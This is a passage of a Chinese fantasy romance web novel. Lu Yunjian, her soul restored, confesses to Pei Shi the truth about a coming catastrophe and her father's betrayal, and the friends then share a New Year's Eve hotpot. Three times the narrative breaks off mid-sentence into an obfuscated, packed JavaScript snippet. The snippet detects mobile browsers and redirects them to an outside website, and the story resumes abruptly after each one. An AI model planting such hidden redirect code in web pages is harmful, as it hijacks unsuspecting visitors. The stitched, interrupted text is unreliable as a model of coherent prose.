季瑶这才像是稍稍放松了些,也笑道:“嗯。” 陆云笺似是不经意地问了句:“现在是什么年月了?” 季衡道:“距你闭关,已过去了两年有余。” 陆云笺微微蹙眉:“两年?” 那么照理来说,一年前魔王的诅咒就该应验了,灾劫应当已经降临,可眼下记忆虽然纷乱,却仍能知道灾劫还未发生。 也就是说,眼下灾劫发生的轨迹,已与逆转时空前截然不同。 可这不同,究竟可喜,还是当忧? 陆云笺心中虽有百般疑问,可于此毫不知情的贺江年在场,她也不便多问,因此暂且压下,稍稍活络了筋骨,便起身向屋门走去。 屋门被什么东西所阻,一时推不开,陆云笺也不急着推,将目光自门缝间投向屋外。 屋外躺着一人,破月匕首扎在他脖颈上,还未收回。 陆云笺的手在屋门上停了片刻,召动破月,在他脖颈处划了一道,尚未凝固的鲜血缓缓流淌,在皮肤上汇聚成一个细微模糊、几不可辨的图案。 无需看清,陆云笺知晓那定然是苍鹰图腾。 她抬手收回破月,顺道抹去尸身上的血痕,而后用力推开门。 身后三人跟上来,便瞧见门外伏着一具尸身,黑衣蒙面,已经彻底断了气。季衡上前把遮住尸身下半张脸的银质面具揭开,露出一张与众人素不相识的面庞。 贺江年凑上来,道:“这人谁啊?云笺你认识吗?他和你有仇?” 陆云笺蹲身细细打量了他的样貌好一会儿,而后摇头:“虽说和我有仇的人多了去了,可这人,我的确不曾见过。之所以能破他的攻击,也只是因为几年前见着有人使过类似术法,有些印象。” 她低眸看着被季衡揭下来的银面,忽地觉得有些怅然,又觉得有些可笑。 她能破除这个术法,并不是因为她碰巧见过有人使用,而是因为,她就是这个术法的创制者。 只是直至她死,这个术法也未能创制完成,只是一个半成品,只留下了几张图纸。 但这并不妨碍她献出最后一点价值。 不过她说的也不尽是谎言,她的确不曾见过此人,也并不识得此人,尽管银鹰卫的训练之处也在哀牢,他们原当很熟悉才是。 可陆云笺既是外人,陆稷自然不愿她过多地了解云间世,甚至不愿她与银鹰卫有任何接触—— 但他到底是尊主之位坐久了,高估了自己的掌控力。 陆云笺并不像他所预料的那般,对银鹰卫一无所知、不敢有所知,与此相反,由于对哀牢了如指掌,她对银鹰卫的术法特性之类,了解得一清二楚。 她的父亲,在杀死她这件事上,实在是太过迫不及待了。 “不知这人什么来历,要不随便找个地儿埋了吧,就埋旁边树林里好了,我来埋。”陆云笺说着收回目光,转头对三人笑道,“今日除夕,晚上我们还要一起守岁呢。开合魂阵耗心力得很,你们白日里好好歇歇。” 贺江年道:“那你呢?” 陆云笺道:“我得先去找裴世,我怕去晚了,他就真不理我了。你们知道他去哪儿了么?” “不知道,合魂阵开了之后他就走了,可能是旧伤复发,撑不住,先走一步吧。”贺江年愣头愣脑地道,“要不要我们和你一块儿去啊?” 季瑶微不可察地叹了口气,大概是在叹贺江年的愣,而后轻轻一拽他的手。 贺江年虽愣,但既然是季瑶给他的暗示,他就算暂时没明白,也下意识住了嘴。 陆云笺将季瑶的动作尽收眼底,笑道:“不用,我也正好出去透透气,晚些回来。”说着便不多作停留,拖着尸体,转身朝不远处的树林走去。 酉时已至,雪已停了,天却未放晴。天地间白茫茫一片,天色已开始昏暗,地上厚重的积雪却又将林间映得亮眼。 陆云笺一手拖着尸体,待来到树林中一处离木屋已然很远、几乎看不见木屋的地方,才把尸体放下。她先燃了一张烈火符把尸体烧得干干净净,又召出惟霜剑动手挖坑。 虽说刨土挖坑向来是破月妖狼的活计,但眼下魂魄刚刚融合,妖狼碎魂也还需将养稍许,一时半会儿还是不要将它召唤出来为好。 陆云笺边挖坑边整理魂魄融合以来纷乱翻涌的记忆,待把人埋完,记忆也终于捋出了一条线。 收了剑,掘土的沙沙声骤然停止,四周又是一片寂静,不见人影,可陆云笺无端觉得,想找的那个人就在这附近,就在这树林之中。 寒冬枝叶落尽,林间几乎空荡一片,想要遮掩气息都难。 陆云笺忽地顿住脚步,细嗅林间飘荡着的那阵细微清冽的气味,淡淡的木梨花香,隔着岁月,唤醒她所有知觉。 冬日的夜晚总是来得太快,只一眨眼,墨一般的黑就染遍了天空。 林间盘绕交错的枯瘦枝条即将尽数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430346|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐入夜色,却在此时,沙沙声复又在林间响起,有人踏着积雪而来。 陆云笺没有动,只向着声音来处一拽,谁知这一拽拽了空,反倒是自己脊背先抵上粗粝冷硬的树干,积雪簌簌而落,有些化作雪水,洇湿了衣裳。 面前的人眉眼仍如记忆中两年前那般温润柔和,只无端添了几分冷冽。 或许还有什么细微之处有所不同了,可心脏震颤之下,一时竟不能觉察。 那人衣襟间熟悉的淡淡白梅香离鼻尖极近,或许因为在风雪里待久了,这带着些冷意的味道几乎已经散尽,转而被另一种熟稔的气味覆盖。 悠远木梨香中的浅淡酒味凑在鼻尖,重得令人只不过闻了一瞬,便觉醉意上涌。 陆云笺道:“裴世,你喝醉了。” 话一出口,才惊觉声音竟有些许嘶哑。 陆云笺沉默片刻,待喉间的沙哑减下去,才笑道:“木梨酒,好久没喝,我也有些想念了。” 许是酒意易乱人心,她忽地觉得有些憋闷有些不快,于是在裴世“没”字都来不及说完的一瞬,猛地抬手拽过他的衣襟,堵住了后头的所有字句。 刹那间什么白梅香木梨酒香都尽数涌入怀中,怀中暖意复苏,遮盖了风雪与夜晚带来的一切冷意。 世间万物一瞬间有如山川湖海尽数奔涌入怀,又霎时默然无言静寂无声。 不知谁咬破了谁的舌尖,浓重血腥气刹那弥漫开来,可这一回,谁都没有躲,没有退,更没有逃。 即便血痕自唇角蜿蜒而下,痛楚早将神智尽数唤回。 陆云笺放开手里拽着的人,裴世下意识退了一步,撇过脸,一时没有说话。 陆云笺瞥见他红透的耳尖,绯色一路蔓至脖颈,她微微一笑,抬手将唇边血痕抹去,道:“你刚刚想说什么?” 裴世脑中一时嗡鸣,好半晌才反应过来陆云笺问了什么,于是道:“没有。”一开口便觉声音有些嘶哑,于是将脸撇得更开,“没想说什么。” “我有想说的。裴世,从前欺负你太多,是我不好,但往后我绝不再欺你瞒你,否则天打雷劈不得好死。”陆云笺并起三指,笑意浅浅,却又无端郑重,“你愿不愿意原谅我这一回,再喜欢我一次?” 裴世冷笑一声,转过头看她,眼眶微有些红,眸色仿若不见底的深潭,一时令人看不清他眸底纷乱翻涌的情绪:“陆云笺,你当我傻吗?我不会再信你了。” 陆云笺抬起的手没有放下,而是顺势召出一个阵法,术法的光芒并不是她惯常的紫色,而是耀眼的金色,在她指尖一跃,像一簇焰火粲然绽开。 裴世一怔,而后下意识地伸手,想去掐灭那点跃动的光芒。 陆云笺没有躲避,反而就势扣住了他的手,阵法在两人掌间骤然绽出一瞬夺目光华。 这阵法简单却新奇,交错线条正中,一朵白梅花绽开,仿佛正散出淡淡幽香。 那是裴世先前为陆云笺绘制的与白梅符相连的阵法,可抵御邪祟,也可遥以感知她的情况。 陆云笺松开手,白梅花在两人手中渐渐淡去,如今,不仅裴世能感知到她,她也一样地能感知到他。 灵力绘成的金色阵法如同道道盘绕交错又彼此相连的线,缚得很紧,谁也再逃不开。 裴世望着逐渐隐去的阵法光芒,一时失声。 “裴世,两年不见了,有好些事,我也才终于捋清,你想不想听我说说?” 裴世闻言抬眸看向她,眸中映出她的粲然眸光。 “那边有人在放烟火,我们好像还没有一同看过?” 陆云笺说着,正欲抬手召出惟霜剑,却被裴世按住了手。 黑暗中一切都不甚清晰,陆云笺只能听见裴世闷闷的声音响起:“你沾了酒,不要御剑了。” 一柄长剑携金光而至,他压低归云的灵力,以免归云剑的光芒在黑暗中太过刺目,晃住人的眼睛。 陆云笺低眸看着归云剑,一时没有说话,裴世也没有多说,只与陆云笺一同上了剑,缓缓升至空中。 93. 无栖处 二人都不喜穿戴厚重的御寒斗篷,于是裴世开了一道御寒结界,便是寒冬风冷,寒气也不会透进一丝一毫。 陆云笺低眸看了许久,不知是在看脚下光芒流转不息的归云剑,还是在看除夕夜车水马龙、璀璨喧闹的人间。 她抬起头,目光与裴世的目光险险擦过。 “两年没御剑,突然到天上飞一遭,居然有些不习惯。”陆云笺笑道,“这把剑很好,小柿子,你如今本事大有长进了,我倒是很想与你比试比试呢。” 裴世道:“你的魂魄才刚修复完成,我若现在与你比,岂不是不讲武德?” 陆云笺冷笑道:“说我魂魄才刚刚修复,可你身子骨也未见得多硬朗。你强行破除的那些幻境和阵法,真以为我不记得了?” 裴世默然片刻,道:“还不是跟你学的?” “跟我学的?”陆云笺微一挑眉,“那你怎么不知道学些好的,净挑着坏的学?” “是吗?有什么好的能学?” 陆云笺笑起来,笑里带着几分不怀好意的狡黠:“至少有一点,我不会口是心……” “到了。”裴世立即出声打断,而后催动归云向下方的山头俯冲,呼呼风声盖过了陆云笺的声音,也盖过了他几乎震得头脑发晕的心跳。 二人降落在一座小山的山顶,好在此处林木并不高大,枝叶也已经落尽,高悬明月与不远处盏盏孔明灯的光辉落入山林,竟显得并不那么黑。 陆云笺抬头望了一眼夜空:“刚刚天上的焰火还炸得响亮,怎么这会儿一点声音一点光都没了?他们还放吗?” 裴世已经清理出一片干净的空地,闻言道:“再等等吧。”他顿了片刻,没有抬眸去看陆云笺,“我倒想知道,你想说什么?” 陆云笺收回目光,在空地上坐下。静默片刻,似乎要说的话太多,而她思绪仍有些乱,一时竟不知从何说起。 于是她便先放过了将要说的话,转而从怀中拿出一方锦盒,正是用来将养妄尘残魂的锦盒:“妄尘前辈应当要转世了,先送前辈一程吧。” 云雾自锦盒内涌出,不多时化出一只巨大无朋的黑龙。黑龙的魂魄已经十分浅淡,金黄瞳眸也似是蒙上了一层薄雾,不再犹如明镜。 妄尘的残魂静默稍许才稳定下来,身形也清晰了些许,只是似乎没有太多力气,微微伏身,道:“陆仙君,裴仙君。” 陆云笺点头:“妄尘前辈,此番多谢你助我合魂,不知前辈可还有未了之愿?我们定当尽力而为。” 妄尘微微阖眸,道:“世间憾事数不胜数,吾只愿世间清平,百姓安乐。” 陆云笺默然片刻,道:“不知前辈是否知晓,三百二十年前,魔王以魂飞魄散为代价设下诅咒,终有一日,众妖魔鬼怪会重归于世,再造浩劫。此事业已发生,我们别无他法,只得开启逆转时空阵法,方能来到今日。不知妄尘前辈可有什么办法阻止或是化解灾劫?” 妄尘缓缓吐息,像是早有所料,又像是别无他法:“关于此事,吾不敢妄言。如若仙君有心,而修真界还有可信之人,或可前往蒲山寻一线生机。” “蒲山?” “那是参世仙人所在,或有救世之法。只是人心难测,便是有救世之法,亦难阻止人世倾覆。吾言尽于此,若问其他,亦是无法可想。” “不曾听闻蒲山之名,前辈可否指一条明路?” “参世仙人早已仙逝,吾久不在仙人座下,早已不知蒲山所在之处,还望仙君恕罪。” “前辈言重。” 陆云笺眼见着妄尘的魂魄又淡了些许,终是不能再问,只能道:“前辈宽心,若能寻得救世之法,人世定不会倾覆,定能如前辈所愿,清平安乐。” 妄尘微微抬了抬眸,瞥过陆云笺与裴世,似乎有未尽之言,但最终还是什么都没说,只道:“吾曾许诺宋承泽与他同往转生,如今再赶一赶,应当还来得及。二位珍重,妄尘告辞。” 黑龙的身影终于彻底淡去,游荡十余年的孤魂,终于卸下护佑苍生的重任,终于能与昔日故人一同,前往归所。 裴世目送妄尘离去,虽有诸多疑惑,却也只在一旁静静地等,没有追问,也没有催促。 等了良久,陆云笺的声音终于再度响起来,没了平日里或多或少带着些许刻意的生动语气,声音只又沉又冷,仿佛接下来要说的事,与她并无相关: “妖魔重归于世,再造浩劫,此事并非虚言,而且,已经发生了。 “那时不过短短几日,无数妖魔鬼怪涌现,修真界被打了个措手不及,来不及思索有效的破解之法,只能集仙门百家之力,升起一道护佑方圆千里的防御结界。 “可区区千里,绝无可能护住所有百姓。更何况,仙门百家处处互相掣肘,结界多有疏漏,妖魔时而趁虚而入,众仙门忙于各自躲藏逃避,拒不理事。 “自然,妖魔不减反增,仙门却无力抵抗,短短几日,灵力耗尽,结界破碎,一片腥风血雨。 “我们别无他法,怜生寺的无津大师传我们逆转时空的阵法,于是,我,我哥,陆稷,季瑶,以及镜阳宗宗主季良衢,前往一处灵力丰沛的荒山,开启了逆转时空之阵。 “我们来到了灾劫发生的四年前,若按现今来算,灾劫应当会在一年前发生,不知为何,竟没有应验。 “逆转时空前季衡莫名失踪,但他既是镜阳宗大师兄,也是将来的镜阳宗掌门,我们自然也不瞒他。 “但若修真界太早散布此事,必然引起极大恐慌,因此只有几家门派的掌门知晓此事,与三大门派一同准备圣清结界,寻四方神兽……” 陆云笺说着一顿,没有去看裴世,只微微垂了眸,待调整过气息,便接着道: “寻四方神兽,一来作为圣清结界的阵法之基,二来,效仿三百二十年前的魔王,以照灵骨为媒介,开启断界阵,撕开时空裂缝,联合另一个时空共同应对灾劫。 “这两年你行走四方,应当查到了不少事,你连陆稷闭关修炼之所都能知晓,那么你应该也能猜到……” “我体内有照灵骨。” 裴世收起了一贯的讥嘲,竟只能报以苦笑。他抬起指尖,下意识抚上心口,经年的伤口似乎仍隐隐作痛,偶尔想起,痛楚便排山倒海地毁去所有神智:“在这儿?” 陆云笺的目光顺着他的指尖落在他心口,仿佛透过衣襟看见了那一处永无可能全然愈合的、狰狞可怖的疤痕,心中一刺,撇开了头。 她唯有维持着沉与冷的声音,才能把要说的话继续下去:“不,你体内的照灵骨被一道极为强劲的封印遮盖封存住了,以至于你修炼数年,却始终没有灵力。 “妖魔鬼怪类对灵气的感知要敏锐得多,或许在你尚且年幼、封印尚未强大到全无纰漏之时,那只鬼魈寻到了你,即便后来那道封印已然被完善,但它却记得你的气息,又追踪了你许多年,知道封印所在,所以…… “穿心断骨,打破了封印,照灵骨的力量终于显现出来。而我那日开启传送阵回到云间世,将能促使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435237|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你体内照灵骨发挥效用的阵法悉数告知陆稷。 “如今又过了两年,断界阵应当已经趋于完善,只是你如今也不再是当年的小弟子了,即便是云间世,也无法轻易压制利用你。 “后来我的一半魂魄阴差阳错去了另一个时空,终于知晓撕裂时空的方法并不可行—— “另一个时空与我们所处的修真界全然不同,那个时空没什么人修道,更没有魔王留下什么诅咒。说到底,这个时空的罪孽只能由这个时空来抵消、赎清,我们绝不能连累另一个时空。 “我要说的话,就是这些。如今当务之急,是毁掉断界阵,可却不知,还有什么方法能保住这个时空。” 陆云笺从始至终没有抬眼去看裴世,说完只抬头望着漆黑无一物的夜空,仿佛在等下一场焰火。 可心心念念的焰火没有来。 静默良久,裴世忽然开口笑道:“刚说过再不欺我瞒我,这就不作数了?” 陆云笺转头看他。原以为他在知晓这许多事后会为真相惊愕,为修真界悲哀,又或者为自己仅能为人所用的命运而愤然…… 可他还是一如往常地把所有情绪都掩去了,淡然之中再也瞧不出其他。 陆云笺道:“作数。怎么不作数了?” “那你告诉我,你的魂魄为什么会撕裂,”裴世加重了后半句,“又为什么,一半魂魄会去往另一个时空?” 陆云笺叹了口气,知道这一节是不能蒙混过关了,于是笑道:“小柿子,如今的你,可真不像往日那般好糊弄了。” “……” “魂魄撕裂,是眉阳之难发生时,为了把作乱的妖魔杀干净。那时我灵力太弱,便撕裂魂魄,将破月的碎魂引入体内,它予我灵力与武器,我供养它的魂魄。 “一半魂魄前往另一个时空是因为,陆稷见我受了重伤,担心破月的力量削弱,便请了德昌行——后来成了同渊阁,请来炼器阁阁主炼化我的魂魄,最大限度地将破月的魂魄以及它守住的武器炼出。 “我的魂魄撕裂后,一直没有完全愈合,陆稷许是担心一步出错,功亏一篑,于是先取了我一半魂魄丢到炼化池,是破月的碎魂护住了我。 “我那一半魂魄自石室逃出,另一半魂魄却仍留在石室,魂魄不全,不得转生,于是去往了灵气最丰沛也最混乱的地方——云间世后山禁地,时空裂缝。 “一半魂魄逃脱,留在修真界的那一半魂魄不能再行炼化,陆稷便又将它引入我体内,以防魂魄逸散、破月再不能为云间世所用。 “而逃脱的那一半魂魄,穿过时空裂缝,寻到了另一个时空的陆云笺。 “那时她正躺在医院——也就是医馆里,刚刚断了气。那一半魂魄便进入了她的身体,那时她脑中的记忆还未消散,我的那一半魂魄穿越时空,受时空所限,一时真的以为自己就是那个时空的陆云笺。 “于是一半魂魄留在这个时空,陆稷没有再行炼化,另一半魂魄在另一个时空的陆云笺体内,感她所感,知她所知,渐渐融为一体。 “半个魂魄不能支撑太久,于是两年后,那个时空的陆云笺死去,那一半魂魄又飘了回来,回到了我体内。但……” 陆云笺说到此处,忽然轻笑一声,细细看着自己的手掌:“或许是我的手沾了太多血腥,那半魂魄在她那儿待久了,竟不愿在与留在此处的一半魂魄融合,只道是穿越时空。 “这也是应该的。那个时空的陆云笺,见过许多美好与幸运。她与我,不是一个人。” 94. 共岁焰 “怎么会不是一个人。” 陆云笺闻言抬眸,正对上裴世轻颤的目光。 “截然不同的时空会为魂灵打上截然不同的烙印,若是你在另一个时空,也一样会是有无数亲朋好友相伴、快乐无忧的陆云笺,另一个时空的你来到修真界,见过你所见过的一切,也一样会成为今日的云间世陆小姐。无论是哪个你,在两个时空,都会做出一样的选择。怎么会不是一个人?” 若非是在修真界,陆云笺原应幸福无忧…… 可偏偏是在修真界,偏偏是云间世陆小姐。 所以她要为诛尽妖魔撕裂自己的魂魄,时时刻刻忍受着破月妖狼的躁动与反噬。 所以她要被她的亲生父亲遣往哀牢,日复一日在暗无天日的凶地,一遍一遍地绝望,又一遍一遍地强迫自己神智清醒。 每年冬至,除夕,或是别的妖魔动荡的时日,都要承受多于平日千倍万倍的痛苦。 因为破月妖狼灵气纯粹丰沛,所以她要被溟海海妖盯上,一次又一次陷入幻境。所以炼器阁阁主察觉此人魂魄奇异,于是同渊阁盯上她,陷她于偶人阵。 陆云笺抬手想止住他的颤抖,冰冷的指尖却先一步被他握住,而后一只在黑夜中略显苍白的手覆了上来,虽然微微汗湿,却很是温暖。 裴世原想问陆云笺疼不疼,可又是裂魂,又是合魂,又是魂魄被炼化,如此折腾,想来任何一个人都无法承受。于是他只道:“如果你想,我可以杀了他。” “我的确是想,查了这么些年,不承想最想杀的人就在眼前。”陆云笺闭了闭眼,笑道,“可惜云间世尊主灵力与云间世神树结界相连,云间世的结界若是受创,圣清结界也撑不住。 “若是他尽早传位给我哥就好办得多,可届时灾劫降临,我哥作为新继任的云间世尊主,又能撑得多久? “我从前与你说,我不是什么有想救天下人大志的人,只是想杀尽天下妖邪,为我娘报仇。可去了另一个时空一遭,却觉得这世间原也有可喜之处。 “我从另一个时空的陆云笺那儿偷来了两年的时光与十几年的记忆,见识了好些有意思的人和事,倒也觉得,若是能护得这世间一片平和安宁,也算一件好事。” “……” 裴世静默许久,忽然有些想问陆云笺—— 倘若此难无法可解,唯照灵骨可救,她能否对他手下留情? 这一问盘桓心头,久久不去,可他到底没能问出口,正欲说起另一事时,忽听陆云笺道:“我还有一句话想同你说。” 分明不知她将要说起的是何事,裴世却蓦地觉得心中一紧,想去找寻自己的呼吸,竟如何也寻不见。 黑夜太静,连呼吸都销声匿迹。 “从前是我没有看明白。裴世,命是你自己的,你的生死从来就不为旁人所把控。谁都想活,你没有义务牺牲自己去救旁人,一切选择,都只能交给你自己。” 裴世的手顿在半空,良久倏然一松。 徘徊心头久如心魔的一问,竟这样令人措不及防地明了了。 什么云间世结界,什么照灵骨,什么断界阵,什么魔王诅咒,什么尘世覆灭,太复杂了。 此时此刻,他忽然什么都不愿再想,只想紧紧拥住眼前这个人,让她不要再孤身一人。 陆云笺继续笑道:“原本牵累你良多,不该再拉着你和我一起了。可此一去,不知是生路还是死局,前面很黑,我不是很想一个人走。” 从前他对她说:“我愿意做你的剑。无论是杀妖魔,杀邪祟,亦或是杀人,我都可以替你去做。” 那时她答:“我不需要。” 那时他想,无所不能的云间世陆小姐,的确不需要任何人。他只要远远跟在她身后,瞻得一点她的风采,那就够了。 可后来她说:“我不要你护我,也不要你做我的剑。不要你挡在我前面,也不要你站在我身后。我要你站在我身边,与我并肩而行。” 并肩而行…… 这四个字才像是真真正正穿透血肉骨骼的魔咒,年年岁岁,时时刻刻,徘徊心间。从此之后,他做的每一件事,流的每一滴血,都是为了追上她。 从前那个一事无成、籍籍无名的小弟子追不上云间世的陆小姐,如今的归云仙君总算能够得上她的脚步,与她并肩而行。 “我愿意和你一起,一直都愿意……” 再回过神来时,话语已经脱口而出,这一回裴世没有再打住,任由滚烫翻沸的情感一涌而出—— “陆云笺,我喜欢你,一直都……喜欢你。” 在你不曾低眸看我,不曾为我停留,不曾识得我,不曾记得我的时候,就一直喜欢你。 八年前,他十四岁,在无数家小仙门中偷习过武功与术法,未能有所成,一路跋涉三年,才到天下第一大派云间世山门外。那是他第一回见到云间世的陆小姐,甚至尚不识得她,只觉奇异—— 仙门之中,竟还有这等会对他心生怜悯的人物? 直到他有一次前往云间世演武场,见到与陆少主一同端坐高台的陆小姐,才知天下第一大派的陆小姐,竟就是这等人物。 世所罕见的身手与灵力,呼风唤雨,无所不能,他此生此世都绝难追上。 陆小姐…… 他如何日日夜夜苦读苦练,都遥不可及的修士翘楚。那样高高在上的人,为何有朝一日,会毫无预兆地低头看见籍籍无名、一事无成的自己? 他怎会不知云间世别有他意,他怎会不知,陆小姐怎可能无缘无故地看见自己。 他神智清明得很,转身就逃。 然而陆云笺就那样几步追上,挡在他身前,轻而易举地阻断了他的去路。 只稍不留神一个趔趄,就再也逃不掉。 也或许没有趔趄…… 是早已深陷,无知无觉,有力难拔。 他神智仍是清明的,他清清楚楚地知道,陆小姐绝无可能有半分诚意,从始至终,她都只为从他身上取得她想要的。 是什么?他有什么?他可以给她什么? 无所谓。 她想要什么,大可以尽数取走。 他无悔无怨。 ……无悔无怨? 不知是不是陆云笺演得太好,而他身在局中,也有一时半刻失了智,竟会奢望她的十分假意里,能有半分真情,竟也会奢望,她可能真的会愿意与他并肩而行,她或许会对他手下留情…… 就因着这几分奢望,迎来他一开始便预料到的结果时,他会几近癫狂地想问陆云笺要一个答案,他会由内而外地滋生出惊愕与恐惧。 他会恐惧这个既定的、他也早已预料到的结局。 于是他害怕在幻境中看到陆云笺的身影,在幻象生效前,他就会将幻境强行打破。 于是他遍访仙门民间,只为求得复生之法。 于是他暗中调查云间世,只为寻得她的确切下落。 于是他暗自探查仙门百家动态,为她编撰苦衷。 ……神智清明? 直至此时,他才终于知晓,深陷其中,无知无觉,并非有力难拔—— 是他甘愿深陷,早已不想脱身。她想要什么,他愿拱手奉上。 久处荒漠之人忽得一捧甘霖,无论那甘霖里暗藏着什么,他都想好好护住这最后一捧希望。 裴世轻轻闭上眼,像是终于有了答案:“陆云笺……我爱你。” 是饮鸩止渴,但…… 心甘情愿。 这一句太轻,仿佛并不是他说给陆云笺听的,只是告诉他自己的答案。 然而再轻,也一字不落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴世:“……” 陆云笺正有些想笑,便听云鹤出来唤她:“云笺,你上回教我们的那个蘸碟怎么调的来着?正好你回了,就交给你了啊。” “……我?”陆云笺一怔,已经不自觉退了几步,“要不我还是去热酒……” “木梨酒与白梅酒都无需热,至于米酒之类,”裴世像是幸灾乐祸似的,抬手将她往前推了一把,“我来便好。” 陆云笺回头还欲再驳,又像是忽地想起什么,转了主意,嘴角微弯,露出一个略有些诡异的笑容:“那好啊。” 陆云笺依着各人的口味调了蘸碟,裴世也正好提着热好的米酒回来,先给陆云笺斟了一杯木梨酒才落座。 季衡、季瑶不喜吃辣,裴世则是不能沾辣,因此古董羹选了鸳鸯锅,一边是红艳艳滚沸如火的辣锅,另一边则是用牛骨与干菌熬出来的浓醇白锅,都热闹地翻腾着。 众人围着圆桌坐了一圈,眉眼都在暖黄灯光与氤氲热气间染得模糊不清又无端亲切。 外头时不时传来几声烟火炸响,寒冬冷意无影无踪。 贺昀为云鹤斟了一杯白梅酒,云鹤抬手接过,清了清嗓子,举盏道:“今日是除夕,那便祝愿诸位新年胜旧年,新春嘉平,长乐无虞,岁岁年年,共占春风。” 众人皆是一顿,仿佛不大习惯这样的热闹,一时没有反应,反倒是贺江年悄声对云鹤道了一句:“娘,你这话从哪儿学来的啊,怪正经的……” 云鹤一手肘把贺江年捅了回去,沉声道:“这种时候你不捧场,信不信我宰了你下古董羹?” 贺江年一激灵,在贺昀道完“顺遂安康”后,紧跟着举盏朗声道:“和和顺顺,岁岁平安!” 季瑶轻笑一声,也道:“愿家家户户,和和顺顺,乐升平世。” 季衡道:“愿盛世安平,海晏河清。” 裴世道:“愿焰火年年,岁岁如意,朝朝安平。” 陆云笺落在最后,才喝了一口木梨酒,便像是有些迷迷糊糊,又或许是被屋内无处不在的暖意蒸得有些发晕,顿了片刻才举杯与众人的杯盏碰在一起: “新年快乐!” 95. 岁藏珠 门外的呜呜风声被清脆的杯盏碰撞之声盖过,铜锅里红白两色“咕噜噜”地翻滚着,蒸腾热气迷人眼。 最先下锅的饺子此时已经浮了上来,比冬至时众人包的要好看不少,个个圆润饱满,馅料塞得满满当当,很有些撑破肚皮的风险。 裴世正欲从辣锅里捞一只饺子,却被陆云笺一抬筷子拦住:“你吃辣锅?” 裴世微一挑眉:“怎么?” “没什么,”陆云笺收回筷子,微微一笑,“就是怕你咳出内伤来。” 裴世已经施施然捞过一只饺子,道:“岂不知‘士别三日当刮目相看’的道理?” 他似乎很是自信,即便面对陆云笺调的红艳艳的蘸料也面不改色,浸满了汤汁的饺子在蘸碟里滚一轮,在陆云笺饶有兴趣的目光中,他一脸淡然地将饺子送入口中。 陆云笺早已拿过几只新的杯盏,斟满木梨酒放在手边,此时撑着下巴等待他的反应,预备在他咳得快背过气时,先一步掐晕他。 果不其然,裴世再抬眼时,已然满脸通红,却仍强撑着没有咳出声。 陆云笺自他怨怼的目光里瞧出了几分杀气,于是笑得更加灿烂:“你要我调的蘸碟,如何,可还喜欢?” 裴世喜欢得犹如怨鬼。 陆云笺见他不肯喝酒,便自己饮尽了两杯木梨酒,听一旁贺江年道:“云笺,你和裴世什么时候回云间世?过几天就走还是等上元?” 陆云笺悠悠转着手中酒杯,道:“上元之前肯定要回,具体什么时候,得看尊主何时召我回去。这一回去,又不知道要打多少妖魔鬼怪,我也想多闲几日呢。” “唉,我师尊居然叫我初三就回,说是上次考核我笔试答得太烂,非要我早些回去补习,上元之后还要再考一次,必须拿甲等,不然就把我逐出师门。你能不能帮我跟我师尊求求情,或者让陆明周给我去说说?我真的不想初三就回啊——” “天玑长老?”陆云笺摊手道,“天玑长老那儿我说不上话,你自求多福吧。” 季瑶道:“你都是已经出师入世的人了,不过一个笔试甲等,好好补习不就是了?” “这不一样,”贺江年鬼哭狼嚎,“谁会在除妖的时候边背修真界通史边出剑,边默念上古结界名录边开阵?” “这我同意,”云鹤难得赞许了自家儿子一回,“是捉妖怪又不是跳大神,与其死记硬背书本,倒不如多学几套剑法。” 贺江年正点头如捣蒜,云鹤却又话锋一转:“不过既然是天玑长老发了话,你听也得听,不听也得听。你若不想回去,我押也得把你押回去。” 贺江年嚎道:“娘!你怎么做墙头草啊!” 陆云笺闻言微微抬眼:“不过话又说回来,虽然不能帮你直接提上甲等,也不能帮你直接延缓考核,但没准能帮你个人把笔试时间延后啊。反正上元前后诸位长老也忙,天玑长老外出云游,一时半会儿不得归,把你的笔试延至正月底也无妨,如此一来,你至少也能在外待过上元了。” 贺江年闻言瞪大眼睛:“真真真的假的?!” 陆云笺不理他,转头对季瑶道:“季瑶,你就饶了他这一回吧,往后可不知还有多少太平日子了。” 季瑶闻言微微一怔,到底没再追究贺江年耍的小把戏。 贺江年听不出陆云笺话中暗含之意,只乐呵呵地咬了一口刚捞上来的饺子,却不料第一口就咬着了饺子里包着的新铜板,一时不备咬了舌头:“哎哟,我则运气介么好,第一口就次到了铜板,则不得妥妥滴拿下甲等啊!” 贺江年虽又辣又痛,却还眼冒精光、大着舌头也要说:“云笺,你简字四天森下凡,小的感恩戴德顶礼摸拜!” 陆云笺哭笑不得,正欲把手边的木梨酒递给他,一旁沉默已久的裴世忽地剧烈咳嗽起来,那动静可谓惊天动地,陆云笺忙把手转了个向,先把酒递给裴世。 左一个大着舌头吱哇乱叫,右一个咳得满面通红地动山摇,陆云笺在一片鸡飞狗跳中,淡然地将一盘鹿肉丢进了铜锅。 酒过三巡,菜过五味,时辰已晚,外头喧闹的烟火也渐渐偃旗息鼓。 云鹤与贺昀有事外出,贺江年早已醉得不省人事,季衡不知何时支额睡了过去,陆云笺也时而清醒时而昏沉,却没有一人提出回房歇息。 